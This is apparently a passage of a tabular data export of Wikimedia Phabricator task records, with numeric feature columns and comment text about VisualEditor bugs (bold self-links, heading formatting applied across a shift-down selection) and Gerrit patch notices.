The contributor doesn’t see the article as it will be after saving.",Low,25.0,1372684440,1490885389.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-75qcblrq4xxtwfp5s76f,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,7.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,7.0,3.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,5.0,0.0,5.0,0.0,2.0,9.0,0.0,3.0,0.0,0.0,3.0,3.6551724137931036,0.7413793103448276,"When I add a link to the title of the page, it is displayed as a normal link instead of a <strong class=""selflink"">.

Same problem while editing a page with a 'selflink' already present.

The contributor doesn’t see the article as it will be after saving."
834514,VisualEditor: Links to current page should show as bold,"Change 345526 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Follow-up I88d45aad2: Fix selflink detection

[[https://gerrit.wikimedia.org/r/345526]]
",,,1490882209,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,195,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.258064516129032,0.7419354838709677,"Change 345526 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Follow-up I88d45aad2: Fix selflink detection

[[GERRIT_URL]]
"
834429,VisualEditor: Links to current page should show as bold,"Change 345526 had a related patch set uploaded (by Esanders):
[mediawiki/extensions/VisualEditor@master] Follow-up I88d45aad2: Fix selflink detection

[[https://gerrit.wikimedia.org/r/345526]]
",,,1490871596,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,195,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,4.3428571428571425,0.8285714285714286,"Change 345526 had a related patch set uploaded (by Esanders):
[mediawiki/extensions/VisualEditor@master] Follow-up I88d45aad2: Fix selflink detection

[[GERRIT_URL]]
"
834380,VisualEditor: Links to current page should show as bold,"Change 342084 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Render self-links as if they were <strong>s

[[https://gerrit.wikimedia.org/r/342084]]
",,,1490865420,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,195,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.6857142857142855,0.8,"Change 342084 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Render self-links as if they were <strong>s

[[GERRIT_URL]]
"
834377,VisualEditor: Links to current page should show as bold,"Change 341775 abandoned by Esanders:
Render self-links as <strong class=""selflink"">, not <a ...>

Reason:
See I88d45aad2aaa45e71b433350986b19764603a1f2

[[https://gerrit.wikimedia.org/r/341775]]",,,1490864792,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,195,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,4.428571428571429,0.8,"Change 341775 abandoned by Esanders:
Render self-links as <strong class=""selflink"">, not <a ...>

Reason:
See I88d45aad2aaa45e71b433350986b19764603a1f2

[[GERRIT_URL]]"
834376,VisualEditor: Links to current page should show as bold,"Change 341774 abandoned by Esanders:
Allow links to be constructed with custom elements

Reason:
See I88d45aad2aaa45e71b433350986b19764603a1f2

[[https://gerrit.wikimedia.org/r/341774]]",,,1490864784,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,195,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.407407407407407,0.8148148148148148,"Change 341774 abandoned by Esanders:
Allow links to be constructed with custom elements

Reason:
See I88d45aad2aaa45e71b433350986b19764603a1f2

[[GERRIT_URL]]"
822881,VisualEditor: Links to current page should show as bold,"Change 342084 had a related patch set uploaded (by Jforrester):
[mediawiki/extensions/VisualEditor] Render self-links as if they were <strong>s

[[https://gerrit.wikimedia.org/r/342084]]
",,,1489091254,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,192,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,8.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,18.0,3.6923076923076925,0.8461538461538461,"Change 342084 had a related patch set uploaded (by Jforrester):
[mediawiki/extensions/VisualEditor] Render self-links as if they were <strong>s

[[GERRIT_URL]]
"
821680,VisualEditor: Links to current page should show as bold,"Change 341775 had a related patch set uploaded (by Esanders):
[mediawiki/extensions/VisualEditor] Render self-links as <strong class=""selflink"">, not <a ...>

[[https://gerrit.wikimedia.org/r/341775]]
",,,1488968700,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,192,,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,19.0,3.6511627906976742,0.7906976744186046,"Change 341775 had a related patch set uploaded (by Esanders):
[mediawiki/extensions/VisualEditor] Render self-links as <strong class=""selflink"">, not <a ...>

[[GERRIT_URL]]
"
821672,VisualEditor: Links to current page should show as bold,"Change 341774 had a related patch set uploaded (by Esanders):
[VisualEditor/VisualEditor] Allow links to be constructed with custom elements

[[https://gerrit.wikimedia.org/r/341774]]
",,,1488968529,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,192,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,4.242424242424242,0.8181818181818182,"Change 341774 had a related patch set uploaded (by Esanders):
[VisualEditor/VisualEditor] Allow links to be constructed with custom elements

[[GERRIT_URL]]
"
821669,VisualEditor: Links to current page should show as bold,">>! In T52497#561368, @Jdforrester-WMF wrote:
> bug 37901

aka T39901 in Phabricator numbering

",,,1488968489,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,True,,,192,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,0.8,"QUOTE
QUOTE

aka T39901 in Phabricator numbering

"
242789,VisualEditor: Links to current page should show as bold,"This will need bug 37901 (a general CSS hinting system for links) to be implemented, which is planned for later this quarter. Hinting that links should be red (non-existent), bold (current), purple (stubs), orange (redirects) etc. will need to be supported in that service.",,,1375235157,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,5.0,0.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,16.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,3.0,3.6507936507936507,0.6666666666666666,"This will need bug 37901 (a general CSS hinting system for links) to be implemented, which is planned for later this quarter. Hinting that links should be red (non-existent), bold (current), purple (stubs), orange (redirects) etc. will need to be supported in that service."
242783,VisualEditor: Links to current page should show as bold,"**crypticc62** wrote:

For those who might be wondering why selflinks would ever appear in an article: Many pages make use of navigation boxes, such as Template:Extreme Sports. Each navbox usually links to all of the articles that it will be transcluded to. So, with several hundred navboxes, each appearing on at least a dozen pages, we can expect selflinks to appear on several thousand articles.",,,1375234921,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,4,,7.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,1.0,1.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,16.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,1.0,0.0,4.135802469135802,0.7530864197530864,"**crypticc62** wrote:

For those who might be wondering why selflinks would ever appear in an article: Many pages make use of navigation boxes, such as Template:Extreme Sports. Each navbox usually links to all of the articles that it will be transcluded to. So, with several hundred navboxes, each appearing on at least a dozen pages, we can expect selflinks to appear on several thousand articles."
52419,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","Suppose an article contains two lines in Paragraph formatting, and we want to turn the first one into Heading formatting. Select the entire first line (Cursor at beginning of line, Shift-CursorDown) then choose Heading formatting from the selection box at the top. Result: both lines are turned into Headings, not just the first. (Bold and italics formatting changes work correctly and affect only the current line.)

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1372508580,1704899273.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-jktlvnskifhm2sbbalki,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,4.0,5.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,13.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,1.0,8.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,4.316326530612245,0.6428571428571429,"Suppose an article contains two lines in Paragraph formatting, and we want to turn the first one into Heading formatting. Select the entire first line (Cursor at beginning of line, Shift-CursorDown) then choose Heading formatting from the selection box at the top. Result: both lines are turned into Headings, not just the first. (Bold and italics formatting changes work correctly and affect only the current line.)

--------------------------
**Version**: unspecified
**Severity**: normal"
2255132,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","Line with cursor gets heading(or other) formatting applied

{F41659137}",,,1704734922,,PHID-USER-sbs2thr232mk3iv6jwal,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,549,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.923076923076923,1.0,"Line with cursor gets heading(or other) formatting applied

{F41659137}"
2243513,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","Change 981374 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (402570007)%%%
https://gerrit.wikimedia.org/r/981374",,,1701976844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,544,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.121212121212121,0.7878787878787878,"Change 981374 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (402570007)%%%
GERRIT_URL"
2243447,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","Change 981374 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (402570007)%%%
https://gerrit.wikimedia.org/r/981374",,,1701971212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,544,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,4.54054054054054,0.8378378378378378,"Change 981374 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (402570007)%%%
GERRIT_URL"
2243408,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","Change 980439 **merged** by jenkins-bot:
%%%[VisualEditor/VisualEditor@master] Don't convert empty-selected paragraphs%%%
https://gerrit.wikimedia.org/r/980439",,,1701968690,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,544,,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.133333333333334,0.7666666666666667,"Change 980439 **merged** by jenkins-bot:
%%%[VisualEditor/VisualEditor@master] Don't convert empty-selected paragraphs%%%
GERRIT_URL"
2241890,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","Change 980439 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[VisualEditor/VisualEditor@master] Don't convert empty-selected paragraphs%%%
https://gerrit.wikimedia.org/r/980439",,,1701796908,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,544,,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,4.588235294117647,0.8823529411764706,"Change 980439 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[VisualEditor/VisualEditor@master] Don't convert empty-selected paragraphs%%%
GERRIT_URL"
609353,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","In Microsoft Word, both character-level styling and paragraph-level formatting are only applied to the one line that was selected either with Cursor-at-beginning-plus-Shift-Cursor-down or with a triple-click. In three of these four scenarios, VE behaves as Word.

As far as I can see, applying character-level styling to a line selected with Cursor-at-beginning-plus-Shift-Cursor-down does not become a pre-annotation on the following line (neither in Word nor in VE): the styling is not applied if I insert text at the beginning of that line.",,,1455301413,,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,136,,0.0,0.0,0.0,2.0,1.5,0.5,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.5,0.0,1.5,0.5,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,17.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,5.0,2.0,10.5,1.0,4.5,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,1.5,13.0,5.0,0.0,0.0,0.0,1.5,0.0,0.5,2.0,0.0,1.5,0.0,0.0,0.0,3.741935483870968,0.717741935483871,"In Microsoft Word, both character-level styling and paragraph-level formatting are only applied to the one line that was selected either with Cursor-at-beginning-plus-Shift-Cursor-down or with a triple-click. In three of these four scenarios, VE behaves as Word.

As far as I can see, applying character-level styling to a line selected with Cursor-at-beginning-plus-Shift-Cursor-down does not become a pre-annotation on the following line (neither in Word nor in VE): the styling is not applied if I insert text at the beginning of that line."
238014,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","This is the same behaviour as in other rich editors.

By selecting in the manner you've stated (""Cursor at beginning of line, Shift-CursorDown"") you've selected the current text, the current line, AND the newline into the place before the first character.

If you mark the text as bold (which is character-level) the boldness becomes a ""pre-annotation"" on the second line before the first character (so typing anything at that point will become bold).

However, changing the format (rather than styling) of some text applies to the entire paragraph (because that's how HTML works) – i.e., the entire second line gets this applied.

We could theoretically apply different behaviour for styling and formatting, so we apply over a newline for the first but not the second, but that might be more unexpected?",,,1385471045,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,True,,,21,,0.5,0.5,0.0,0.0,0.5,9.5,1.0,0.5,0.0,0.5,4.0,1.0,0.0,0.0,0.0,1.0,0.5,4.5,10.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,6.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.5,2.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,9.5,1.5,5.5,1.5,2.5,13.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.5,10.5,1.5,0.5,2.0,0.0,2.5,0.0,1.0,1.0,0.0,1.5,0.5,0.0,0.5,3.988235294117647,0.6705882352941177,"This is the same behaviour as in other rich editors.

By selecting in the manner you've stated (""Cursor at beginning of line, Shift-CursorDown"") you've selected the current text, the current line, AND the newline into the place before the first character.

If you mark the text as bold (which is character-level) the boldness becomes a ""pre-annotation"" on the second line before the first character (so typing anything at that point will become bold).

However, changing the format (rather than styling) of some text applies to the entire paragraph (because that's how HTML works) – i.e., the entire second line gets this applied.

We could theoretically apply different behaviour for styling and formatting, so we apply over a newline for the first but not the second, but that might be more unexpected?"
238009,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)",This issue exists for all kind of formatting from the Headings pull-down menu.,,,1383081754,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,17,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.125,1.0,This issue exists for all kind of formatting from the Headings pull-down menu.
52407,TemplateData: Add a way to express dependencies between parameters,"Add a way to mark a parameter to be dependent on an other paramter. For example :
We have following parameters:
""foo1_bar"", ""foo1_baz"", ""foo1_quux"" 
...
 ""fooN_bar"", ""fooN_baz"", ""fooN_quux""

